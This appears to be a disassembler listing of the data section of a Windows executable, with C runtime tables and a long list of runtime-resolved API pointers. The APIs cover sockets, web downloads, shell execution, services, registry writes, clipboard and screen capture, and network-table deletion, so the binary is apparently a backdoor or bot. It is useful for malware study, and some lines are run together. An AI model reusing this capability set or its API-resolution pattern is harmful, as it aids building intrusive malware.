		dd 1, 3	dup(0)
		dd 1, 3	dup(0)
		dd 1, 0
		dd 1, 0
		dd 1, 3	dup(0)
		dd 1, 0
		dd 1, 0
		dd 1, 22h dup(0)
dword_42DD20	dd 1							; sub_41819C+4Ao ...
dword_42DD24	dd 16h				dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
off_42DE88	dd offset sub_41DDE6	; DATA XREF: sub_414EC5+5w
					; sub_416662+43Er
off_42DE8C	dd offset sub_41DDE6	; DATA XREF: sub_414EC5+Aw
					; sub_416662+46Ar
off_42DE90	dd offset sub_41DDE6	; DATA XREF: sub_414EC5+14w
					; sub_416F0B+40Dr
off_42DE94	dd offset sub_41DDE6	; DATA XREF: sub_414EC5+1Ew
					; sub_416662+459r
off_42DE98	dd offset sub_41DDE6	; DATA XREF: sub_414EC5+28w
off_42DE9C	dd offset sub_41DDE6	; DATA XREF: sub_414EC5+32w
off_42DEA0	dd offset word_4290E2	; DATA XREF: sub_41524A:loc_41531Cr
					; sub_416662:loc_416861r ...
off_42DEA4	dd offset word_4292EA	; DATA XREF: sub_41F913+18r
dword_42DEA8	dd 0BB40E64Eh						; sub_416662+9r ...
		dd offset loc_41E30F
off_42DEB0	dd offset sub_41AA6F	; DATA XREF: sub_41AAA4+Cr
		align 10h
byte_42DEC0	db 1			; DATA XREF: sub_41AE37+C8r
		db 2, 4, 8
		align 8
dword_42DEC8	dd 3A4h		dword_42DECC	dd 82798260h			dd 21h,	0
dword_42DED8	dd 0DFA6h			align 10h
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_42DFB8	dd 2							; sub_41B5C9+32r
off_42DFBC	dd offset aR6002FloatingP ; DATA XREF: sub_41B5C9+DEr
					; sub_41B5C9+11Br ...
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 429874h, 9, 429848h, 0Ah,	4297B0h, 10h, 429784h
		dd 11h,	429754h, 12h, 429730h, 13h, 429704h, 18h, 4296CCh
		dd 19h,	4296A4h, 1Ah, 42966Ch, 1Bh, 429634h, 1Ch, 42960Ch
		dd 78h,	4295FCh, 79h, 4295ECh, 7Ah, 4295DCh, 0FCh, 4219D0h
		dd 0FFh, 4295CCh
dword_42E048	dd 0C0000005h, 0Bh, 0					; sub_416E86+47o
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_42E0C0	dd 3							; sub_41B779+A3r ...
dword_42E0C4	dd 7							; sub_41B779+A9r ...
		dd 78h
dword_42E0CC	dd 0Ah							; sub_41F035r
dword_42E0D0	dd 0FFFFFFFFh, 0A80h, 7	dup(0)					; sub_418DD9:loc_418E5Fo
dword_42E0F4	dd 1		byte_42E0F8	db 2Eh			; DATA XREF: sub_416F0B:loc_417216r
					; sub_416F0B+329r ...
		align 4
		dd 1, 42E108h, 0
off_42E108	dd offset aSun		; DATA XREF: .data:0042D834o
					; "Sun"
		dd offset aMon		; "Mon"
		dd offset aTue		; "Tue"
		dd offset aWed		; "Wed"
		dd offset aThu		; "Thu"
		dd offset aFri		; "Fri"
		dd offset aSat		; "Sat"
		dd offset aSunday	; "Sunday"
		dd offset aMonday	; "Monday"
		dd offset aTuesday	; "Tuesday"
		dd offset aWednesday	; "Wednesday"
		dd offset aThursday	; "Thursday"
		dd offset aFriday	; "Friday"
		dd offset aSaturday	; "Saturday"
		dd offset aJan		; "Jan"
		dd offset aFeb		; "Feb"
		dd offset aMar		; "Mar"
		dd offset aApr		; "Apr"
		dd offset aMay		; "May"
		dd offset aJun		; "Jun"
		dd offset aJul		; "Jul"
		dd offset aAug		; "Aug"
		dd offset aSep		; "Sep"
		dd offset aOct		; "Oct"
		dd offset aNov		; "Nov"
		dd offset aDec		; "Dec"
		dd offset aJanuary	; "January"
		dd offset aFebruary	; "February"
		dd offset aMarch	; "March"
		dd offset aApril	; "April"
		dd offset aMay		; "May"
		dd offset aJune		; "June"
		dd offset aJuly		; "July"
		dd offset aAugust	; "August"
		dd offset aSeptember	; "September"
		dd offset aOctober	; "October"
		dd offset aNovember	; "November"
		dd offset aDecember	; "December"
		dd offset aAm		; "AM"
		dd offset aPm		; "PM"
		dd offset aMmDdYy	; "MM/dd/yy"
		dd offset aDdddMmmmDdYyyy ; "dddd, MMMM	dd, yyyy"
		dd offset aHhMmSs	; "HH:mm:ss"
		dd 409h, 1, 0
dword_42E1C0	dd 2Eh		off_42E1C4	dd offset dword_42E1C0	; DATA XREF: sub_41C8FA+15r
					; .data:0042D820o ...
off_42E1C8	dd offset dword_47C488	; DATA XREF: sub_41C8FA+32r
off_42E1CC	dd offset dword_47C488	; DATA XREF: sub_41C8FA+4Er
off_42E1D0	dd offset dword_47C488	; DATA XREF: sub_41C959+1Br
off_42E1D4	dd offset dword_47C488	; DATA XREF: sub_41C959+38r
off_42E1D8	dd offset dword_47C488	; DATA XREF: sub_41C959+55r
off_42E1DC	dd offset dword_47C488	; DATA XREF: sub_41C959+72r
off_42E1E0	dd offset dword_47C488	; DATA XREF: sub_41C959+8Fr
off_42E1E4	dd offset dword_47C488	; DATA XREF: sub_41C959+ACr
off_42E1E8	dd offset dword_47C488	; DATA XREF: sub_41C959+C8r
		dd 2 dup(7F7F7F7Fh)
off_42E1F4	dd offset off_42E1C4	; DATA XREF: sub_41C8FA+Br
					; sub_41C8FA+27r ...
		align 10h
		dd 1, 3	dup(0)
dword_42E210	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_42E228	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh, 7080h, 1,	0FFFFF1F0h
					; DATA XREF: sub_41DBA7o
		dd 0
dword_42E250	dd 545350h, 0Fh	dup(0)dword_42E290	dd 544450h, 0Fh	dup(0)		dd offset dword_42E250
		dd offset dword_42E290
		dd 0FFFFFFFFh, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd 0FFFFFFFFh, 1Eh, 3Bh, 5Ah, 78h, 97h,	0B5h, 0D4h, 0F3h
		dd 111h, 130h, 14Eh, 16Dh, 0FFFFFFFFh, 1Eh, 3Ah, 59h, 77h
		dd 96h,	0B4h, 0D3h, 0F2h, 110h,	12Fh, 14Dh, 16Ch, 2 dup(0)
dword_42E360	dd 2 dup(0)			dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_42E4C0	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_41F4DB+26o
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh,	0
dword_42E620	dd 0							; sub_4017F1+CFw ...
dword_42E624	dd 0							; sub_401B9D+EEw ...
		dd 3E6h	dup(0)
dword_42F5C0	dd 6 dup(0)						; sub_401967+129o ...
dword_42F5D8	dd 0							; sub_401141+35Eo
dword_42F5DC	dd 0A2h	dup(0)	dword_42F864	dd 41h dup(0)	dword_42F968	dd 0							; sub_401141+30Cr
		align 10h
dword_42F970	dd 0							; sub_401141+370r
dword_42F974	dd 0		dword_42F978	dd 0		dword_42F97C	dd 0				dd 0
dword_42F984	dd 0		dword_42F988	dd 0							; sub_401141+215r ...
dword_42F98C	dd 41h dup(0)	dword_42FA90	dd 41h dup(0)	dword_42FB94	dd 0							; sub_401141+261r
dword_42FB98	dd 0		dword_42FB9C	dd 0							; sub_401141+20Fr
dword_42FBA0	dd 20h dup(0)						; sub_401141+1FAo
dword_42FC20	dd 0		dword_42FC24	dd 0							; sub_401141+204w
dword_42FC28	dd 0				align 10h
dword_42FC30	dd 0							; sub_401141+102o
dword_42FC34	dd 41h dup(0)	dword_42FD38	dd 41h dup(0)	dword_42FE3C	dd 0							; sub_401141+114r
dword_42FE40	dd 0		dword_42FE44	dd 0							; sub_401141+CFr
dword_42FE48	dd 20h dup(0)						; sub_401141+BAo
dword_42FEC8	dd 0		dword_42FECC	dd 0							; sub_401141+C4w
dword_42FED0	dd 0				align 8
dword_42FED8	dd 1000h dup(0)						; sub_401F9Fo ...
dword_433ED8	dd 0Dh dup(0)						; sub_401F9F+Eo ...
dword_433F0C	dd 0		dword_433F10	dd 200h	dup(0)						; sub_403512+97o ...
dword_434710	dd 0		; resolved to->NTDLL.ZwQuerySystemInformation					; sub_4031EB+65r ...
dword_434714	dd 0		; resolved to->NTDLL.RtlRunDecodeUnicodeString					; sub_4036C9+53r ...
dword_434718	dd 200h	dup(0)						; sub_403512+AEo ...
dword_434F18	dd 0		; resolved to->NTDLL.RtlCreateQueryDebugBuffer					; sub_4037CA+85w
dword_434F1C	dd 0		; resolved to->NTDLL.RtlQueryProcessDebugInformation					; sub_4037CA+92w
dword_434F20	dd 0		; resolved to->NTDLL.RtlDestroyQueryDebugBuffer					; sub_4031EB+173r ...
dword_434F24	dd 0							; sub_403637+2Fr ...
dword_434F28	dd 0							; sub_403512+FFw
dword_434F2C	dd 0							; sub_403512+105w ...
dword_434F30	dd 0							; sub_403637+49r
		align 8
dword_434F38	dd 80h dup(0)	dword_435138	dd 80h dup(0)	dword_435338	dd 0							; sub_403B2C+51r ...
dword_43533C	dd 0							; sub_403C3B+6Aw ...
byte_435340	db 0			; DATA XREF: sub_405367+11Ew
					; sub_405367+220o
		align 2
word_435342	dw 0			; DATA XREF: sub_405367+12Bw
word_435344	dw 0			; DATA XREF: sub_405367+136w
word_435346	dw 0			; DATA XREF: sub_405367+13Fw
byte_435348	db 0			; DATA XREF: sub_405367+145w
byte_435349	db 0			; DATA XREF: sub_405367+14Cw
word_43534A	dw 0			; DATA XREF: sub_405367+153w
dword_43534C	dd 0							; sub_405367+19Bw
dword_435350	dd 0		byte_435354	db 0			; DATA XREF: sub_405367+1B2w
byte_435355	db 0			; DATA XREF: sub_405367+1C2w
word_435356	dw 0			; DATA XREF: sub_405367+1D5w
word_435358	dw 0			; DATA XREF: sub_405367+1E7w
word_43535A	dw 0			; DATA XREF: sub_405367+1DDw
dword_43535C	dd 100h	dup(0)	dword_43575C	dd 0		; resolved to->WSOCK32.recv					; sub_4039C6+F8r ...
dword_435760	dd 0		; resolved to->WS2_32.getsockname					; sub_4057AC+72Cr ...
dword_435764	dd 0							; sub_4057AC+9AEr ...
dword_435768	dd 0		; resolved to->WININET.InternetCrackUrlA					; sub_4057AC+834r
dword_43576C	dd 0		; resolved to->WS2_32.WSASocketA					; sub_4057AC+4C8w ...
dword_435770	dd 0		; resolved to->WININET.InternetGetConnectedState					; sub_4057AC+7F5r ...
dword_435774	dd 0		; resolved to->KERNEL32.GetDriveTypeA					; sub_4057AC+8Cw ...
dword_435778	dd 0		; resolved to->USER32.CloseClipboard					; sub_4057AC+1E2r ...
dword_43577C	dd 0		; resolved to->USER32.IsWindow					; sub_4057AC+1C2r
dword_435780	dd 0		; resolved to->WSOCK32.recvfrom					; sub_4057AC+6FCr ...
dword_435784	dd 0		; resolved to->GDI32.SelectObject					; sub_4057AC+463r
dword_435788	dd 0		dword_43578C	dd 0		; resolved to->WS2_32.ioctlsocket					; sub_404F24+B1r ...
dword_435790	dd 0		; resolved to->WININET.InternetOpenA					; sub_4057AC+7FBr
dword_435794	dd 0		; resolved to->USER32.OpenClipboard					; sub_4057AC+1D2r ...
dword_435798	dd 0		; resolved to->KERNEL32.Process32Next					; sub_4057AC+CAr ...
dword_43579C	dd 0							; sub_4057AC+99Er ...
dword_4357A0	dd 0		; resolved to->WS2_32.connect					; sub_4039C6+8Dr ...
dword_4357A4	dd 0							; sub_4057AC+BA6r ...
dword_4357A8	dd 0		; resolved to->ADVAPI32.RegQueryValueExA					; sub_4057AC+27Cr
dword_4357AC	dd 0		; resolved to->WS2_32.accept					; sub_4057AC+5E6w ...
dword_4357B0	dd 0							; .text:00413FB8r
dword_4357B4	dd 0							; sub_4057AC+9B6r ...
dword_4357B8	dd 0		; resolved to->WS2_32.sendto					; sub_405367+228r ...
dword_4357BC	dd 0		; resolved to->SHELL32.SHChangeNotifydword_4357C0	dd 0		; resolved to->KERNEL32.SetErrorMode					; sub_4057AC+ADr ...
dword_4357C4	dd 0							; sub_4057AC+AD6r ...
dword_4357C8	dd 0							; sub_4057AC+9C6r ...
dword_4357CC	dd 0		; resolved to->ADVAPI32.RegSetValueExA					; sub_4057AC+23Ew ...
dword_4357D0	dd 0							; sub_4057AC+981r ...
dword_4357D4	dd 0							; sub_4057AC+9CEr ...
dword_4357D8	dd 0		; resolved to->KERNEL32.CreateToolhelp32Snapshot					; sub_4057AC+BAr ...
dword_4357DC	dd 0		; resolved to->ADVAPI32.DeleteService					; sub_4057AC+367r ...
dword_4357E0	dd 0		; resolved to->USER32.DestroyWindow					; sub_4057AC+1CAr
dword_4357E4	dd 0		; resolved to->KERNEL32.GetDiskFreeSpaceExA					; sub_4057AC+72w ...
dword_4357E8	dd 0		; resolved to->WS2_32.socket					; sub_4039C6+45r ...
dword_4357EC	dd 0							; sub_4057AC+98Er ...
dword_4357F0	dd 0		; resolved to->WININET.InternetOpenUrlA					; sub_4057AC+7D4w ...
dword_4357F4	dd 0		; resolved to->IPHLPAPI.GetIpNetTable					; sub_4057AC+A5Dr ...
dword_4357F8	dd 0		; resolved to->WS2_32.WSAStartup					; sub_4049D5+16r ...
dword_4357FC	dd 0							; sub_4076EC+72r
dword_435800	dd 0		; resolved to->KERNEL32.Module32First					; sub_408206+15Cr ...
dword_435804	dd 0		; resolved to->WSOCK32.setsockopt					; sub_405367+76r ...
dword_435808	dd 0		; resolved to->KERNEL32.SearchPathA					; sub_4057AC+EAr ...
dword_43580C	dd 0							; sub_4057AC+BB6r ...
dword_435810	dd 0		; resolved to->WININET.HttpOpenRequestA					; sub_4057AC+810r
dword_435814	dd 0		; resolved to->GDI32.DeleteDC					; sub_4057AC+473r
dword_435818	dd 0		; resolved to->ADVAPI32.CloseServiceHandle					; sub_4057AC+36Fr ...
dword_43581C	dd 0		; resolved to->WININET.InternetConnectA					; sub_4057AC+820r
dword_435820	dd 0							; sub_4057AC+9A6r ...
dword_435824	dd 0		; resolved to->ADVAPI32.RegDeleteValueA					; sub_4057AC+258w ...
dword_435828	dd 0		; resolved to->WS2_32.getpeername					; sub_40F563+E3r
dword_43582C	dd 0		; resolved to->KERNEL32.QueryPerformanceCounter					; sub_4057AC+F2r
dword_435830	dd 0		; resolved to->ADVAPI32.RegCreateKeyExA					; sub_4057AC+231w ...
dword_435834	dd 0		; resolved to->KERNEL32.Process32First					; sub_4057AC+C2r ...
dword_435838	dd 0		; resolved to->IPHLPAPI.IcmpCreateFile					; sub_4057AC+8B6r ...
dword_43583C	dd 0		; resolved to->WS2_32.__WSAFDIsSet					; sub_4057AC+4E2w ...
dword_435840	dd 0		; resolved to->USER32.FindWindowA					; sub_4057AC+1BAr ...
dword_435844	dd 0		; resolved to->WININET.InternetCloseHandle					; sub_4057AC+801w
dword_435848	dd 0		; resolved to->WS2_32.gethostbyname					; sub_4057AC+73Cr ...
dword_43584C	dd 0		; resolved to->DNSAPI.DnsFlushResolverCacheEntry_Adword_435850	dd 0		; resolved to->ADVAPI32.AdjustTokenPrivileges					; sub_40819B+55r
dword_435854	dd 0		; resolved to->IPHLPAPI.DeleteIpNetEntry					; sub_407C73+98r
dword_435858	dd 0		; resolved to->GDI32.GetDeviceCaps					; sub_4057AC+453r
dword_43585C	dd 0		; resolved to->WS2_32.inet_addr					; sub_4039C6+25r ...
dword_435860	dd 0		; resolved to->GDI32.CreateCompatibleDC					; sub_4057AC+44Br
dword_435864	dd 0		; resolved to->GDI32.DeleteObjectdword_435868	dd 0		; resolved to->WS2_32.inet_ntoa					; sub_401967+77r ...
dword_43586C	dd 0		; resolved to->IPHLPAPI.IcmpCloseHandle					; sub_4057AC+8C3r ...
dword_435870	dd 0		; resolved to->GDI32.BitBlt					; sub_4057AC+46Br
dword_435874	dd 0		; resolved to->WS2_32.WSAAsyncSelect					; sub_4057AC+658r ...
dword_435878	dd 0		; resolved to->ADVAPI32.GetUserNameA					; sub_41175C+EDr
dword_43587C	dd 0		; resolved to->WS2_32.send					; sub_4039C6+E2r ...
dword_435880	dd 0		; resolved to->USER32.ExitWindowsEx					; sub_406A11+15r
dword_435884	dd 0		; resolved to->KERNEL32.GetLogicalDriveStringsA					; sub_402E1B+2Br ...
dword_435888	dd 0							; sub_4057AC+AC1r ...
dword_43588C	dd 0		; resolved to->WS2_32.select					; sub_404F24+3C4r ...
dword_435890	dd 0		; resolved to->KERNEL32.QueryPerformanceFrequencydword_435894	dd 0		; resolved to->WININET.InternetReadFile					; sub_4057AC+7EEw ...
dword_435898	dd 0							; sub_4057AC+BBEr ...
dword_43589C	dd 0		; resolved to->GDI32.GetDIBColorTable					; sub_4057AC+45Br
dword_4358A0	dd 0		; resolved to->WS2_32.WSAGetLastError					; sub_4048D6+A1r ...
dword_4358A4	dd 0		; resolved to->ADVAPI32.OpenSCManagerA					; sub_4057AC+342r ...
dword_4358A8	dd 0		; resolved to->USER32.SendMessageA					; sub_4057AC+1ADr ...
dword_4358AC	dd 0		; resolved to->ADVAPI32.StartServiceA					; sub_4057AC+357r ...
dword_4358B0	dd 0							; sub_4057AC+9BEr ...
dword_4358B4	dd 0		; resolved to->ADVAPI32.EnumServicesStatusA					; sub_4057AC+377r ...
dword_4358B8	dd 0		; resolved to->WS2_32.ntohl					; sub_4057AC+57Ew ...
dword_4358BC	dd 0		; resolved to->WS2_32.WSAIoctl					; sub_4057AC+664r
dword_4358C0	dd 0		; resolved to->WS2_32.bind					; sub_4057AC+5BFw ...
dword_4358C4	dd 0		; resolved to->ADVAPI32.RegCloseKey					; sub_4057AC+265w ...
dword_4358C8	dd 0		; resolved to->ADVAPI32.ControlService					; sub_4057AC+35Fr ...
dword_4358CC	dd 0		; resolved to->DNSAPI.DnsFlushResolverCache					; sub_4057AC+A13r ...
dword_4358D0	dd 0		; resolved to->IPHLPAPI.IcmpSendEcho					; sub_407DF7+116r
dword_4358D4	dd 0							; sub_4057AC+B99r ...
dword_4358D8	dd 0		; resolved to->WS2_32.gethostbyaddr					; sub_4057AC+744r ...
dword_4358DC	dd 0		; resolved to->WS2_32.ntohs					; sub_4057AC+6DCr
dword_4358E0	dd 0		; resolved to->ADVAPI32.IsValidSecurityDescriptor					; sub_4078DE+ABr
dword_4358E4	dd 0		dword_4358E8	dd 0							; sub_4057AC+996r ...
dword_4358EC	dd 0							; sub_4057AC+BAEr ...
dword_4358F0	dd 0		; resolved to->SHELL32.ShellExecuteA					; sub_4057AC+B1Br ...
dword_4358F4	dd 0		; resolved to->WS2_32.closesocket					; sub_4021B5+2EDr ...
dword_4358F8	dd 0		; resolved to->GDI32.CreateDIBSection					; sub_4057AC+443r
dword_4358FC	dd 0		; resolved to->WS2_32.gethostname					; sub_4057AC+734r
dword_435900	dd 0		; resolved to->WS2_32.WSACleanup					; sub_40260A+48Fr ...
dword_435904	dd 0		; resolved to->ADVAPI32.LookupPrivilegeValueA					; sub_4057AC+2C9r ...
dword_435908	dd 0		; resolved to->WS2_32.listen					; sub_4057AC+5D9w ...
dword_43590C	dd 0		; resolved to->WS2_32.ntohl					; sub_4021B5+E4r ...
dword_435910	dd 0		; resolved to->ADVAPI32.RegOpenKeyExA					; sub_4057AC+25Fr ...
dword_435914	dd 0		; resolved to->USER32.GetClipboardData					; sub_4057AC+1DAr ...
dword_435918	dd 0							; sub_4057AC+ACEr
dword_43591C	dd 0		; resolved to->ADVAPI32.OpenProcessToken					; sub_4057AC+2BCr ...
dword_435920	dd 0		; resolved to->ADVAPI32.OpenServiceA					; sub_4057AC+34Fr ...
dword_435924	dd 0		; resolved to->GDI32.CreateDCA					; sub_4057AC+436r
dword_435928	dd 0							; sub_4057AC+863w ...
dword_43592C	dd 0		; resolved to->WININET.HttpSendRequestA					; sub_4057AC+818r
dword_435930	dd 0		; resolved to->WININET.InternetGetConnectedStateExA					; sub_4057AC+808r ...
dword_435934	dd 0		; resolved to->WS2_32.ntohs					; sub_4021B5+84r ...
dword_435938	dd 0							; sub_4057AC+12Bw ...
dword_43593C	dd 0							; sub_406395+1Cr
dword_435940	dd 0							; sub_406395:loc_4063DDr
dword_435944	dd 0							; sub_406395+50r
dword_435948	dd 0							; sub_4057AC:loc_405A81w ...
dword_43594C	dd 0							; sub_406395+84r
dword_435950	dd 0							; sub_406395:loc_406445r
dword_435954	dd 0							; sub_406395+B8r
dword_435958	dd 0							; sub_406395:loc_406479r
dword_43595C	dd 0							; sub_406395+ECr
dword_435960	dd 0							; sub_4057AC+877w ...
dword_435964	dd 0							; sub_406395+120r
dword_435968	dd 0							; sub_406395:loc_4064E1r ...
dword_43596C	dd 0							; sub_406395+154r
dword_435970	dd 0							; sub_406395:loc_406515r ...
dword_435974	dd 0							; sub_406395+188r
dword_435978	dd 0							; sub_406395:loc_406549r
dword_43597C	dd 0							; sub_406395+1BCr
dword_435980	dd 0							; sub_406395:loc_40657Dr
dword_435984	dd 0							; sub_406395+1F0r
dword_435988	dd 0							; sub_406395:loc_4065B1r
dword_43598C	dd 0							; sub_406395+224r
dword_435990	dd 0							; sub_406395:loc_4065E5r
dword_435994	dd 0							; sub_406395+258r
dword_435998	dd 0							; sub_406395:loc_406619r
dword_43599C	dd 0							; sub_406395+28Cr
		dd 2 dup(0)
dword_4359A8	dd 80h dup(0)	dword_435BA8	dd 17h dup(0)						; sub_406D69+12Do ...
dword_435C04	dd 0							; sub_407064+5Br ...
dword_435C08	dd 0							; sub_407064+3Ew ...
		align 10h
dword_435C10	dd 18h dup(0)						; sub_4075BC+12Ao
dword_435C70	dd 80h dup(0)						; sub_4076EC+A9o
dword_435E70	dd 80h dup(0)						; sub_4077A8+60o
dword_436070	dd 80h dup(0)						; sub_407820+83o ...
dword_436270	dd 80h dup(0)						; sub_4079FD+8Eo ...
dword_436470	dd 4 dup(0)	dword_436480	dd 0							; sub_40260A+14Eo ...
		dd 7Fh dup(0)
dword_436680	dd 0							; sub_41255A+3Ew ...
dword_436684	dd 0							; sub_401967:loc_401B79r ...
dword_436688	dd 0							; sub_4105D1+A2w ...
dword_43668C	dd 0							; sub_404F24+78w ...
dword_436690	dd 0							; sub_40EC9A:loc_40ED17r ...
dword_436694	dd 0							; sub_401141+26Fw ...
byte_436698	db 0			; DATA XREF: sub_4088B9+57o
					; sub_408A18+23B2r ...
		align 4
		dd 3C2Dh dup(0)
dword_445750	dd 0D6B0h dup(0)dword_47B210	dd 0							; sub_412471+13o ...
dword_47B214	dd 20h dup(0)						; sub_40E745+4B8o ...
dword_47B294	dd 10h dup(0)	dword_47B2D4	dd 24h dup(0)	dword_47B364	dd 0							; sub_40E745+4CFw ...
dword_47B368	dd 0				dd 3 dup(0)
dword_47B378	dd 0							; sub_401DEF+62r ...
		dd 5 dup(0)
dword_47B390	dd 0							; sub_408A18+9D6r
		dd 1Fh dup(0)
dword_47B410	dd 0							; sub_412680+19o
dword_47B414	dd 2B9h	dup(0)	dword_47BEF8	dd 0							; sub_401DEF+47o ...
dword_47BEFC	dd 0		byte_47BF00	db 0			; DATA XREF: sub_40863D+2Ar
					; sub_40863D+33o
		align 4
dword_47BF04	dd 0							; sub_40E745+46Cw ...
dword_47BF08	dd 0							; sub_40E745+404w
dword_47BF0C	dd 0							; sub_40F31C+87o
dword_47BF10	dd 0							; sub_40F18F+119r ...
dword_47BF14	dd 0							; sub_40F31C+115w
dword_47BF18	dd 0							; sub_40F18F+32r ...
dword_47BF1C	dd 0Dh dup(0)						; sub_40F18F+114o ...
dword_47BF50	dd 0							; sub_40F18F+53r ...
		align 8
dword_47BF58	dd 0				align 10h
dword_47BF60	dd 80h dup(0)	byte_47C160	db 0			; DATA XREF: sub_410BDF:loc_410C3Cr
					; sub_410BDF+93w
		align 4
dword_47C164	dd 0Eh dup(0)	dword_47C19C	dd 0		dword_47C1A0	dd 0		dword_47C1A4	dd 0							; sub_4180E8r ...
dword_47C1A8	dd 0							; .text:00416343w
dword_47C1AC	dd 0		dword_47C1B0	dd 0							; sub_4180E8+9r ...
dword_47C1B4	dd 0		dword_47C1B8	dd 0							; sub_41BB79+8Fw
dword_47C1BC	dd 0							; sub_40E745+314r ...
		dd 0
dword_47C1C4	dd 0							; sub_41B946:loc_41B9F7r ...
		dd 3 dup(0)
dword_47C1D4	dd 0				dd 0
byte_47C1DC	db 0			; DATA XREF: sub_415FC0+35w
					; sub_417FE4+5r
		align 10h
dword_47C1E0	dd 0		dword_47C1E4	dd 0							; sub_415FC0+C1w
dword_47C1E8	dd 0							; sub_41B946:loc_41B958r ...
		align 10h
dword_47C1F0	dd 0				align 10h
dword_47C200	dd 0							; sub_41AB2C:loc_41AB55w ...
		align 8
dword_47C208	dd 54h dup(0)	dword_47C358	dd 0		dword_47C35C	dd 0							; sub_414BBA+192r ...
dword_47C360	dd 0							; sub_419E09+31w ...
		dd 2 dup(0)
dword_47C36C	dd 0							; sub_41AFCD+1Dw ...
dword_47C370	dd 0				align 8
dword_47C378	dd 41h dup(0)	byte_47C47C	db 0			; DATA XREF: sub_41BB79:loc_41BB90w
		align 10h
dword_47C480	dd 0							; sub_41BC1B+24w ...
